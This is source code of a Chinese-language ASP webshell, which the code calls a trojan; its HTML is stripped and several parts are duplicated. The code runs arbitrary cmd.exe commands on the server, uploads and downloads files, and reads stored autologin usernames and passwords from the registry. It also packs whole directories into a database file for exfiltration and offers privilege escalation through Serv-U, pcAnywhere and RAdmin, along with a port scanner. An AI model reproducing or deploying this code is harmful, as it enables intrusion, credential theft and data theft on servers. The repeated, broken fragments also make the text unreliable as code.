    " +pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort" +PAWPort=Wsh.RegRead(pcAnywhereKey) +If PAWPort="" then PAWPort="无法获取. 请 确认主 机是 否安装pcAnywhere" +jb "
  • PcAnywhere端口为:"&PAWPort&"
    " +jb "------------------------------------------------------" +Set wsX = Server.CreateObject("WScript.Shell") +Dim terminalPortPath, terminalPortKey, termPort +Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey +Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword +terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" +terminalPortKey = "PortNumber" +termPort = wsX.RegRead(terminalPortPath & terminalPortKey) +jb"终端服务端口及自动登录
      " +If termPort = "" Or Err.Number <> 0 Then +jb"无 法得到终端服务端口 , 请检查权限是否已经受 到限制 .
      " +Else +jb"当 前 终 端 服 务 端 口 : " & termPort & "
      " +End If +autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" +autoLoginEnableKey = "AutoAdminLogon" +autoLoginUserKey = "DefaultUserName" +autoLoginPassKey = "DefaultPassword" +isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey) +If isAutoLoginEnable = 0 Then +jb"系统自动登录 功能未开启
      " +Else +autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey) +jb"自动登录 的系统 帐户 : " & autoLoginUsername & "
      " +autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey) +If Err Then +Err.Clear +jb"False" +End If +jb"自动 登录的 帐户 密码 : " & autoLoginPassword & "
      " +End If +jb"
    " +jb "


    [系统 软件探测]

    " +SoftPath=Wsh.Environment.item("Path") +Pathinfo=lcase(SoftPath) +jb "系统软件支持:" +if Instr(Pathinfo,"perl") Then jb "
  • Perl脚 本:支持
    " +if instr(Pathinfo,"java") Then jb "
  • Java脚本: 支持
    " +if instr(Pathinfo,"microsoft sql server") Then jb "
  • MSSQL数据库服务:支持
    " +if instr(Pathinfo,"mysql") Then jb "
  • MySQL数 据库 服务: 支持
    " +if instr(Pathinfo,"oracle") Then jb "
  • Oracle数据 库服务: 支持
    " +if instr(Pathinfo,"cfusionmx7") Then jb "
  • CFM服务器 :支持
    " +if instr(Pathinfo,"pcanywhere") Then jb "
  • 赛门铁 克PcAnywhere控 制:支持
    " +if instr(Pathinfo,"Kill") Then jb "
  • Kill杀毒软 件:支持
    " +if instr(Pathinfo,"kav") Then jb "
  • 金山系列 杀毒软件 :支持
    " +if instr(Pathinfo,"antivirus") Then jb "
  • 赛门铁克杀毒软件:支持
    " +if instr(Pathinfo,"rising") Then jb "
  • 瑞星系列杀毒软件:支持
    " +paths=split(SoftPath,";") +jb "------------------------------------
    " +jb "系统当前 路径变量:
    " +For i=Lbound(paths) to Ubound(paths) +jb "
  • "&paths(i)&"
    " +next +jb "

    [系 统设置 探测]

    " +pcnamekey="HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName" +pcname=wsh.RegRead(pcnamekey) +if pcname="" Then pcname="无法读取主机名.
    " +jb "
  • 当前主 机名 为:"&pcname&"
    " +AdminNameKey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultUserName" +AdminName=wsh.RegRead(AdminNameKey) +if adminname="" Then AdminName="Administrator" +jb "
  • 默认管 理员用户名为:"&AdminName&"
    " +isAutologin="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoAdminLogon" +Autologin=Wsh.RegRead(isAutologin) +if Autologin=0 or Autologin="" Then +jb "
  • 用户自动登 入:未启用
    " +Else +jb "
  • 用户 自动登入:启用
    " +Admin=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName") +Passwd=Wsh.RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword") +jb "
  • 用户名:"&Admin&"
    " +jb "
  • 密码:"&Passwd&"
    " +End if +displogin=wsh.regRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\DontDisplayLastUserName") +If displogin="" or displogin=0 Then disply="是" else disply="否" +jb "
  • 是否显示上 次登入用户:"&disply&"
    " +NTMLkey="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0\NTML" +ntml=Wsh.RegRead(NTMLkey) +if ntml="" Then Ntml=1 +jb "
  • Telnet Ntml设置为:"&ntml&"
    " +hk="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count" +kk=wsh.RegRead(hk) +jb"
  • 当前活动网 卡为:"&kk&"
    " +jb "------------------------------------


    " +jb "[服务 器弱 点探测]

    " +Set objComputer = GetObject("WinNT://.") +Set sa = Server.CreateObject("Shell.Application") +objComputer.Filter = Array("Service") +On Error Resume Next +For Each objService In objComputer +if objService.Name="Serv-U" Then +if objService.ServiceAccountName="LocalSystem" Then +jb "
  • 服务器 中有 Se rv-U 安 装,且以LocalSystem权限启动,可以 考虑提权
    " +End if +End if +if lcase(objService.Name)="apache" Then +if objService.ServiceAccountName="LocalSystem" Then +If instr("&woriniba&","Apache") Then +jb "
  • 当前WEB服 务器为 Apache.可以直接提权
    " +Else +jb "
  • 服务器中有Apache服 务存在,启动权限为LocalSystem,可以考 虑PHP木马
    " +End if +end if +End if +if instr(lcase(objService.Name),"tomcat") Then +if objService.ServiceAccountName="LocalSystem" Then +jb "
  • 服务器 中有Tomcat,且以LocalSystem权限启动,可以 考虑使用Jsp木 马提权
    " +End if +End if +if instr(lcase(objService.Name),"winmail") Then +if objService.ServiceAccountName="LocalSystem" Then +jb "
  • 服务 器中有Magic Winmail,且以LocalSystem权限启动,可以查找WebMai l目录,并且写入PHP木马
    " +End if +End if +Next +Set fso=Server.Createobject("Scripting.FileSystemObject") +Sysdrive=left(Fso.GetspecialFolder(2),2) +servername=wsh.RegRead("HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName") +If fso.FileExists(sysdriver&"\Documents And Settings\All Users\Application Data\Symantec\"&servername&".cif") Then +jb "
  • 发现pcAnywher e密码文件,可以从默认目录下载并 破解 得到pcAnyw here密 码" +End if +end sub:Function UpFile() + If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") + If UName="" Or F.FileSize=0 then + SI="
    请输_入上传_的完全_路径后选择_一个文件_上传!" + Else + F.SaveAs UName + If Err.number=0 Then + SI="



    文件"&UName&"上 传 成功!
    " + End if + End If +Set F=nothing:Set U=nothing + SI=SI&BackUrl + jb SI + ShowErr() + Response.End + End If + SI="


    " + SI=SI&"" + SI=SI&"
    " + SI=SI&"上传路径:" + SI=SI&" " + SI=SI&" " + SI=SI&"
    " + echo SI +End Function +function cmd1shell() +on error resume next +if request("sp")<>"" then session("shellpath") = request("sp") +shellpath=session("shellpath") +if shellpath="" then shellpath = "cmd.exe" +if request("cmd")<>"" then session("defcmd") = request("cmd") +defcmd=session("defcmd") +if defcmd="" then defcmd="set" +if request("rwpath")<>"" then session("rwpath") = request("rwpath") +rwpath=session("rwpath") +if rwpath="" then rwpath=server.mappath(".") +si="
    " +rp1=" 可读写目录(用于回显)
    " +si=si&"" +si=si&rp1&"wscript"" checked>wscript" +si=si&rp1&"wscript.shell"">wscript.shell" +si=si&rp1&"wscript.shell.1"">wscript.shell.1" +si=si&rp1&"shell.application"">shell.application" +si=si&rp1&"shell.application.1"">shell.application.1" +si=si&" " + +set fso=server.createobject("scripting.filesystemobject") +sztempfile = rwpath&"\cmd.txt" +select case request("cmdtype") +case "wscript" +set cm=server.createobject("wscript.shell") +set dd=cm.exec(shellpath&" /c "&defcmd) +aaa=dd.stdout.readall +si=si&"" +si=si&aaa +si=si&chr(13)&"
    " +case "wscript.shell","wscript.shell.1" +on error resume next +set ws=server.createobject(request("cmdtype")) +call ws.run (shellpath&" /c " & defcmd & " > " & sztempfile, 0, true) +set ofilelcx = fso.opentextfile (sztempfile, 1, false, 0) +aaa=server.htmlencode(ofilelcx.readall) +ofilelcx.close +call fso.deletefile(sztempfile, true) +si=si&"" +si=si&aaa +si=si&chr(13)&"" +case "shell.application","shell.application.1" +set seshell=server.createobject(request("cmdtype")) + +seshell.ShellExecute shellpath," /c " & defcmd & " > " & sztempfile,"","open",0 +si=si&"     ":jb"     ":jb"    ":jb"





    Test

    (删除测试文件!)

    ":jb"
    (远程下载脚本木马)

    ":End function:function apjdel():set fso=Server.CreateObject(oBt(0,0)):fso.DeleteFile(server.mappath("test.aspx")):fso.DeleteFile(server.mappath("test.php")):fso.DeleteFile(server.mappath("test.jsp")):jb"Del Success!":End function:fUNcTiOn MAINFORm():jb"
    ":jb"":jb"":jb"
    ":jb"":jb"":jb"
    ":jb"":jb"":jb"":jb"提权目录列表:『Program』『AllUsers』『开始 程序』『RECYCLED』『RECYCLER』『D:\RECYCLER』『pcAnywhere』『serv-u』『RealServer』『SQL』『config』『data』『Temp』『Documents
    地址栏:":jb"":jb" " :jb"
    ":jb"
    ":jb"":jb"":jb"
    ":End FuNCtiON: +sub echo(str) +response.write str +end sub +funcTiOn maINmenU():jb"":jb"":jb"" +iF OBT(0,1)=" ×" Then +jb"" +Else +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +END if +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb"" +jb" " +'jb"" +'jb" " +jb"" + +jb"
    无FSO/无权限
    +>查看硬盘
    ●站点根目录
    ●本程序目录
    ●新建目录
    ●新建文本
    ●上传文件
    ●文件夹打包-解包
    ●上級目录
    ↓-服务器信息查看
    ●查看可写目录
    " +jb"
    ●系统服务-用户账号
    ●主机信息-组件支持
    ●管理组帐号
    " +jb"
    ●服务器探测
    ●(秘密武器)点击生成不死shell
    ↓-提权漏洞检测
    ●执行Cmd命令
    ●端口扫描器
    ●脚本探测工具
    ●Serv-U提权
    " +jb"
    ●Serv-UFTP提权
    " +jb"
    ●WMI远程执行命令
    ●修改属性
    " +jb"
    ●Sql_cmd
    ●PcAnyWHere提权
    ●RAdmin提权
    ●注册表操作
    ●直接下载
    " +jb"
    ↓-数据库操作
    ●连接数据库
    " +jb"
    ●建立MDB文件
    " +'jb"
    ↓-在线网络服务
    ●同服查询
    〖查看Pr值〗
    ' target='FileFrame'>●在线更新
    ●退出登录

    " +jb"
    "&mingzi&" 's blog

    "&SiteURL&"
    " +jb"" +Call shellcore +End FunCtion + +Sub PageAddToMdb() + +theAct = Request("theAct") +thePath = Request("thePath") +Server.ScriptTimeOut=100000 +If theAct = "addToMdb" Then +addToMdb(thePath) +jb "

    操作完成!
    "&BackUrl +Response.End +End If +If theAct = "releaseFromMdb" Then +unPack(thePath) +jb "

    操作完成!
    "&BackUrl +Response.End +End If +jb"
    文件夹打包:" +jb"
    " +jb"" +jb"" +jb"" +jb"" +jb" " +jb"

    注: 打包生成hsh.mdb文件,位于木马同级目录下" +jb"
    " +jb"
    文件包 解开(需FSO支持):
    " +jb"
    " +jb"" +jb"" +jb" " +jb"

    注: 解开来的所有文 件都位于木马同级目录下" +jb"
    " +End Sub +Sub addToMdb(thePath) +On Error Resume Next +Dim rs, conn, stream, connStr, adoCatalog +Set rs = Server.CreateObject("ADODB.RecordSet") +Set stream = Server.CreateObject("ADODB.Stream") +Set conn = Server.CreateObject(OBT(5,0)) +Set adoCatalog = Server.CreateObject("ADOX.Catalog") +connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & Server.MapPath("hsh.mdb") +adoCatalog.Create connStr +conn.Open connStr +conn.Execute("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +stream.Open +stream.Type = 1 +rs.Open "FileData", conn, 3, 3 +If Request("theMethod") = "fso" Then +fsoTreeForMdb thePath, rs, stream + Else +saTreeForMdb thePath, rs, stream +End If +rs.Close +Conn.Close +stream.Close +Set rs = Nothing +Set conn = Nothing +Set stream = Nothing +Set adoCatalog = Nothing +End Sub +Function fsoTreeForMdb(thePath, rs, stream) +Dim item, theFolder, folders, files, sysFileList +sysFileList = "$hsh.mdb$HSH.ldb$" +If Server.CreateObject(oBt(0,0)).FolderExists(thePath) = False Then +showErr(thePath & " 目录不存在或者不允许访问!") +End If +Set theFolder = Server.CreateObject(oBt(0,0)).GetFolder(thePath) +Set files = theFolder.Files +Set folders = theFolder.SubFolders +For Each item In folders +fsoTreeForMdb item.Path, rs, stream +Next +For Each item In files +If InStr(sysFileList, "$" & item.Name & "$") <= 0 Then +rs.AddNew +rs("thePath") = Mid(item.Path, 4) +stream.LoadFromFile(item.Path) +rs("fileContent") = stream.Read() +rs.Update +End If +Next +Set files = Nothing +Set folders = Nothing +Set theFolder = Nothing +End Function +Sub unPack(thePath) +On Error Resume Next +Server.ScriptTimeOut=100000 +Dim rs, ws, str, conn, stream, connStr, theFolder +str = Server.MapPath(".") & "\" +Set rs = CreateObject("ADODB.RecordSet") +Set stream = CreateObject("ADODB.Stream") +Set conn = CreateObject(OBT(5,0)) +connStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & thePath & ";" +conn.Open connStr +rs.Open "FileData", conn, 1, 1 +stream.Open +stream.Type = 1 +Do Until rs.Eof +theFolder = Left(rs("thePath"), InStrRev(rs("thePath"), "\")) +If Server.CreateObject(oBt(0,0)).FolderExists(str & theFolder) = False Then +createFolder(str & theFolder) +End If +stream.SetEos() +stream.Write rs("fileContent") +stream.SaveToFile str & rs("thePath"), 2 +rs.MoveNext +Loop +rs.Close +conn.Close +stream.Close +Set ws = Nothing +Set rs = Nothing +Set stream = Nothing +Set conn = Nothing +End Sub +Sub AdDtOmdB(thePath) +oN eRRoR ResUMe nEXt +DiM rs, CONN, sTrEam, conNStr, ADocatALog +SEt rS = SERVER.crEAtEOBJeCT("ADODB.RecordSet") +seT sTrEAM = SerVer.CreAtEoBjECT("ADODB.Stream") +seT COnN = seRVEr.cREATEObjECt(OBT(5,0)) +seT aDOcAtalOg = serVeR.CReatEOBjEct("ADOX.Catalog") +ConNstR = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & servEr.mAPpaTH("HYTop.mdb") +ADocAtaLog.cReATe CoNnsTR +CoNN.OPen conNsTr +CONn.EXEcutE("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +STrEAm.OPEn +streaM.TypE = 1 +rS.OPEN "FileData", cOnn, 3, 3 +If ReQuEsT("theMethod") = "fso" theN +FsOTrEEforMDB thepaTH, Rs, sTrEAm + eLSE +SATrEeforMDB thEpATH, Rs, STrEAm +enD IF +rs.ClosE +coNN.CLoSE +stREaM.CLosE +Set rs = NOThInG +set Conn = nothINg +sET stReam = NOThinG +SEt AdOcAtaloG = nOTHIng +End Sub +Sub AdDtOmdB(thePath) +oN eRRoR ResUMe nEXt +DiM rs, CONN, sTrEam, conNStr, ADocatALog +SEt rS = SERVER.crEAtEOBJeCT("ADODB.RecordSet") +seT sTrEAM = SerVer.CreAtEoBjECT("ADODB.Stream") +seT COnN = seRVEr.cREATEObjECt(OBT(5,0)) +seT aDOcAtalOg = serVeR.CReatEOBjEct("ADOX.Catalog") +ConNstR = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & servEr.mAPpaTH("HYTop.mdb") +ADocAtaLog.cReATe CoNnsTR +CoNN.OPen conNsTr +CONn.EXEcutE("Create Table FileData(Id int IDENTITY(0,1) PRIMARY KEY CLUSTERED, thePath VarChar, fileContent Image)") +STrEAm.OPEn +streaM.TypE = 1 +rS.OPEN "FileData", cOnn, 3, 3 +If ReQuEsT("theMethod") = "fso" theN +FsOTrEEforMDB thepaTH, Rs, sTrEAm + eLSE +SATrEeforMDB thEpATH, Rs, STrEAm +enD IF +rs.ClosE +coNN.CLoSE +stREaM.CLosE +Set rs = NOThInG +set Conn = nothINg +sET stReam = NOThinG +SEt AdOcAtaloG = nOTHIng +End Sub +sUb CreateFoldER(ThePath) +DIM i +I = instR(Thepath, "\") +Do whILe I > 0 +iF fSOX.FoLDERExIsts(LEft(THEPaTH, i)) = faLse TheN +fSox.CreatEFOLDEr(lEft(THePatH, I - 1)) +end If +IF INSTR(mid(THePAth, i + 1), "\") tHEN +i = i + INsTr(mid(ThePaTh, i + 1), "\") + ELSe +i = 0 +eND If +LOOP +eND sUB +sUB SAtreEforMdB(thePaTh, rs, STREam) +diM iTeM, tHEFOlDER, SySFilELIsT +SYSfileliSt = "$HYTop.mdb$HYTop.ldb$" +SeT thEfoLdEr = sAX.NAMeSPaCe(thepath) +for eaCH iTEm in tHeFoldeR.iteMS +If ItEm.ISFoLDeR = TRUe tHen +SatrEEfoRMDB itEm.PatH, rs, Stream + elSe +iF iNSTr(SYsFilELIsT, "$" & ItEm.naME & "$") <= 0 tHeN +rs.AddNew +rs("thePath") = MID(ITeM.PatH, 4) +sTrEAm.LoadfroMfiLe(ITEM.PATH) +RS("fileContent") = sTREAM.rEaD() +rs.uPDaTE +enD iF +enD If +NeXT +seT thefoLDeR = NoTHINg +END SUB +Sub Message(state,msg,flag):jb "":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb "
    系统信息
    ":jb "
    ":jb state:jb "

    ":jb msg:jb "

    ":jb " ":jb " ":jb " ":jb " ":jb " ":If flag=0 Then:jb " ":jb " ":Else:jb " ":jb " ":End if:jb " ":jb " ":jb "":End Sub:Function Red(str):Red = "" & str & "":End Function:Sub ScanDriveForm():Dim FSO,DriveB:Set FSO = Server.Createobject(oBt(0,0)):jb "":jb " ":jb " ":jb " ":For Each DriveB in FSO.Drives:jb " ":jb " ":jb "":jb "":jb " ":jb"":jb "":jb "":jb " " +Next +jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb " ":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb "":jb " ":jb " ":jb "
    磁盘/系统 文件夹信息
    盘 符" +jb DriveB.DriveLetter:jb ":类型":Select Case DriveB.DriveType:Case 1: jb "可移动":Case 2: jb "本地硬盘":Case 3: jb "网络磁盘":Case 4: jb "CD-ROM":Case 5: jb "RAM磁盘":Case else: jb "未知 类型":End Select:jb "
    Windows文件夹":jb FSO.GetSpecialFolder(0):jb "
    System32文件夹":jb FSO.GetSpecialFolder(1):jb "
    系统临时文件夹":jb FSO.GetSpecialFolder(2):jb "
    站点跟目录":jb "站点跟目录":jb "点击 查询
    回收站目录":jb "回收站目录 ":jb "点击 查询
    wmpub目录 ":jb "wmpub":jb "点击查询

    ":jb "
    ":jb "
    指定文件夹 查询:":jb " " +jb "  指定文件夹路径。如:C:\ASP\":jb "
    ":jb "
    ":Set FSO=Nothing:End Sub:Sub ScanDrive(Drive):Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D:If Drive <> "" Then +Set FSO = Server.Createobject(oBt(0,0)) +Set TestDrive = FSO.GetDrive(Drive) +If TestDrive.IsReady Then +Temp_Str = "
  • 磁盘分区类型:" & Red(TestDrive.FileSystem) & "
  • 磁盘序列号:" & Red(TestDrive.SerialNumber) & "
  • 磁盘共享名:" & Red(TestDrive.ShareName) & "
  • 磁盘总容量:" & Red(CInt(TestDrive.TotalSize/1048576)) & "
  • 磁盘卷名:" & (TestDrive.VolumeName) & "
  • 磁盘根目录:" & ScReWr((Drive & ":\")) +Set BaseFolder = TestDrive.RootFolder +Set TempFolders = BaseFolder.SubFolders +For Each D in TempFolders +Temp_Str = Temp_Str & "
  • 文件夹:" & ScReWr(D) +Next +Set TempFolder = Nothing +Set BaseFolder = Nothing +Else +Temp_Str = Temp_Str & "
  • 磁盘根目录:" & Red("不可读:(") +Dim TempFolderList,t:t=0 +Temp_Str = Temp_Str & "
  • " & Red("穷举目录测试:") +TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp") +For i = 0 to Ubound(TempFolderList) +If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then +t = t+1 +Temp_Str = Temp_Str & "
  • 发现文件夹:" & ScReWr(Drive & ":\" & TempFolderList(i)) +End if +Next +If t=0 then Temp_Str = Temp_Str & "
  • 已穷举" & Drive & "盘根目录,但未有发现:(" +End if +Set TestDrive = Nothing +Set FSO = Nothing +Temp_Str = Temp_Str & "" & ("") +Message Drive & ":磁盘信息",Temp_Str,1 +End if +End Sub +str1=request.ServerVariables("HTTP_HOST")&request.ServerVariables("URL") +Sub ScFolder(folder) +On Error Resume Next +Dim FSO,OFolder,TempFolder,Scmsg,S +Set FSO = Server.Createobject(oBt(0,0)) +If FSO.FolderExists(folder) Then +Set OFolder = FSO.GetFolder(folder) +Set TempFolders = OFolder.SubFolders +Scmsg = "
  • 指定文件夹根目录:" & ScReWr(folder) +For Each S in TempFolders +Scmsg = Scmsg&"
  • 文件夹:" & ScReWr(S) +Next +Set TempFolders = Nothing +Set OFolder = Nothing +Else +Scmsg = Scmsg & "
  • 文件夹:" & (folder & "不存在或无读权限!") +End if +Scmsg = Scmsg & "" & ("") +Set FSO = Nothing +Message "文件夹信息",Scmsg,1 +End Sub + + +Function ScReWr(folder) +On Error Resume Next +Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename +Set FSO = Server.Createobject(oBt(0,0)) +Set TestFolder = FSO.GetFolder(folder) +Set TestFileList = TestFolder.SubFolders +RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" +For Each A in TestFileList +Next +If err Then +err.Clear +ReWrStr = folder & " 不可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。" +FSO.DeleteFile folder & RndFilename,True +End If +Else +ReWrStr = folder & " 可读," +FSO.CreateTextFile folder & RndFilename,True +If err Then +err.Clear +ReWrStr = ReWrStr & "不可写。" +Else +ReWrStr = ReWrStr & "可写。" +FSO.DeleteFile folder & RndFilename,True +End if +End if +Set TestFileList = Nothing +Set TestFolder = Nothing +Set FSO = Nothing +ScReWr = ReWrStr +End Function +Function Course() +si="
    " +SI=Si&"" +on erRoR reSUme NEXT +For eACh obJ in geToBJeCt("WinNT://.") +Err.clEAR +If ObJ.STArtTYpe="" THeN +sI=SI&"" +Si=SI&"" +Si0="" +EnD if +iF oBj.StArTtype=2 thEN lx="自动" +IF oBj.StARTTyPe=3 tHEN LX="手动" +IF obj.StarTtYpE=4 thEN LX="禁用" +iF LCaSe(mid(obj.pAth,4,3))<>"win" AnD obJ.STarttYpe=2 tHeN +Si1=si1&"" +ELSE +si2=sI2&"" +end if +nExt +jb si&Si0&sI1&si2&"
    系统用户与服务
     " +si=si&Obj.naME +sI=sI&" " +si=SI&"系统用_户(组)" +si=Si&"
     
     "&obj.NAME&" "&OBj.DISPlaYName&"
    [启动类型:"&Lx&"] "&ObJ.PATh&"
     "&obj.NAme&" "&oBj.DisplAYNaMe&"
    [启动类型:"&Lx&"] "&OBj.PAtH&"
    " +ENd Function + + +fuNcTion DownFILE(PAth) +RespoNse.cleAr +sEt Osm = creATEOBJeCT(OBT(6,0)) +oSM.oPEN +oSM.tYPe = 1 +osm.lOAdfromFILe PatH +Sz=inSTRrEv(PAth,"\")+1 +ReSPoNse.AddHEaDer "Content-Disposition", "attachment; filename=" & mid(pAth,SZ) +RESPOnSe.AdDHeAder "Content-Length", Osm.SIzE +ResPOnsE.ChARSET = "UTF-8" +ReSPOnSe.CONTENTTYpE = "application/octet-stream" +RESPONSE.binArywRiTE oSm.Read +rEsponSE.flUSh +osM.cLoSe +SeT OsM = nOThINg +eNd FUnction +fUnCtIOn htMLeNcODe(s) +if NoT iSnull(s) THen +S = ReplACE(S, ">", ">") +S = rePlaCE(s, "<", "<") +S = rEplAce(S, CHR(39), "'") +S = RepLAcE(S, chR(34), """) +S = REPLACE(s, chr(20), " ") +hTmLencoDE = S +End iF +End Function:Sub GetTerminalInfo() +on error resume next +dim wsh +set wsh=createobject("Wscript.Shell") +jb "[网络 探测]

    " +EnableTCPIPKey="HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters" +isEnable=Wsh.Regread(EnableTcpipKey) +If isEnable=0 or isEnable="" Then +Notcpipfilter=1 +End If +ApdKey="HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind" +Apds=Wsh.RegRead(ApdKey) +If IsArray(Apds) Then +For i=LBound(Apds) To UBound(Apds)-1 +jb "网卡"&i&"的序列为: "&ApdB&"
    " +Path="HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Interfaces\" +IPKey=Path&ApdB&"\IPAddress" +IPaddr=Wsh.Regread(IPKey) +If IPaddr(0)<>"" Then +For j=Lbound(IPAddr) to Ubound(IPAddr) +jb "
  • IP地址"&j&"为:"&IPAddr(j)&"
    " +Next +Else +jb "
  • IP地址 无法读取 或没有设置
    " +End if +GateWayKey=Path&ApdB&"\DefaultGateway" +GateWay=Wsh.Regread(GateWayKey) +If isarray(GateWay) Then +For j=Lbound(Gateway) to Ubound(Gateway) +jb "
  • 网关"&j&"为:"&Gateway(j)&"
    " +Next +Else +jb "
  • 默认网关无法 读取或 没有设置
    " +End if +DNSKey=Path&ApdB&"\NameServer" +DNSstr=Wsh.RegRead(DNSKey) +If DNSstr<>"" Then +jb "
  • 网卡DNS为:"&DNSstr&"
    " +Else +jb "
  • 默认DNS 无法读取 或没有设置
    " +End If +if Notcpipfilter=1 Then +jb "
  • 没有 Tcp/IP筛选
    " +else +ETK="\TCPAllowedPorts" +EUK="\UDPAllowedPorts" +FullTCP=Path&ApdB&ETK +FullUDP=path&ApdB&EUK +tcpallow=Wsh.RegRead(FullTCP) +If tcpallow(0)="" or tcpallow(0)=0 Then +jb "
  • 允许的TCP端口为 :全部
    " +Else +jb "
  • 允许的TCP 端口为:" +For j = LBound(tcpallow) To UBound(tcpallow) +jb tcpallow(j)&"," +Next +jb "
    " +End if +udpallow=Wsh.RegRead(FullUDP) +If udpallow(0)="" or udpallow(0)=0 Then +jb "
  • 允许的UDP端口为:全部
    " +Else +jb "
  • 允许的UDP 端口为:" +for j = LBound(udpallow) To UBound(udpallow) +jb UDPallow(j)&"," +next +jb "
    " +End if +End if +jb "------------------------------------------------
    " +Next +end if +jb "

    [特殊端口 探测]

    " +Telnetkey="HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\TelnetServer\1.0\TelnetPort" +TlntPort=Wsh.RegRead(TelnetKey) +if TlntPort="" Then Tlnt="23(默认 设置)" +jb "
  • Telnet端 口:"&Tlntport&"
    " +TermKey="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp\PortNumber" +TermPort=Wsh.RegRead(TermKey) +If TermPort="" Then TermPort="无法读取.请 确认是否为Windows Server版本 主机" +jb "
  • Terminal Service端口为:"&TermPort&"
    " +pcAnywhereKey="HKEY_LOCAL_MACHINE\SOFTWARE\Symantec\pcAnywhere\CurrentVersion\System\TCPIPDataPort" +PAWPort=Wsh.RegRead(pcAnywhereKey) +If PAWPort="" then PAWPort="无法获取. 请 确认主 机是 否安装pcAnywhere" +jb "
  • PcAnywhere端口为:"&PAWPort&"
    " +jb "------------------------------------------------------" +Set wsX = Server.CreateObject("WScript.Shell") +Dim terminalPortPath, terminalPortKey, termPort +Dim autoLoginPath, autoLoginUserKey, autoLoginPassKey +Dim isAutoLoginEnable, autoLoginEnableKey, autoLoginUsername, autoLoginPassword +terminalPortPath = "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\" +terminalPortKey = "PortNumber" +termPort = wsX.RegRead(terminalPortPath & terminalPortKey) +jb"终端服务端口及自动登录
      " +If termPort = "" Or Err.Number <> 0 Then +jb"无 法得到终端服务端口 , 请检查权限是否已经受 到限制 .
      " +Else +jb"当 前 终 端 服 务 端 口 : " & termPort & "
      " +End If +autoLoginPath = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\" +autoLoginEnableKey = "AutoAdminLogon" +autoLoginUserKey = "DefaultUserName" +autoLoginPassKey = "DefaultPassword" +isAutoLoginEnable = wsX.RegRead(autoLoginPath & autoLoginEnableKey) +If isAutoLoginEnable = 0 Then +jb"系统自动登录 功能未开启
      " +Else +autoLoginUsername = wsX.RegRead(autoLoginPath & autoLoginUserKey) +jb"自动登录 的系统 帐户 : " & autoLoginUsername & "
      " +autoLoginPassword = wsX.RegRead(autoLoginPath & autoLoginPassKey) +If Err Then +Err.Clear +jb"False" +End If +jb"自动 登录的 帐户 密码 : " & autoLoginPassword & "
      " +End If +jb"
    " +jb "


    [系统 软件探测]

    " +SoftPath=Wsh.Environment.item("Path") +Pathinfo=lcase(SoftPath) +jb "系统软件支持:" +if Instr(Pathinfo,"perl") Then jb "
  • Perl脚 本:支持
    " +if instr(Pathinfo,"java") Then jb "
  • Java脚本: 支持
    " +if instr(Pathinfo,"microsoft sql server") Then jb "
  • MSSQL数据库服务:支持
    " +if instr(Pathinfo,"mysql") Then jb "
  • MySQL数 据库 服务: 支持
    " +if instr(Pathinfo,"oracle") Then jb "
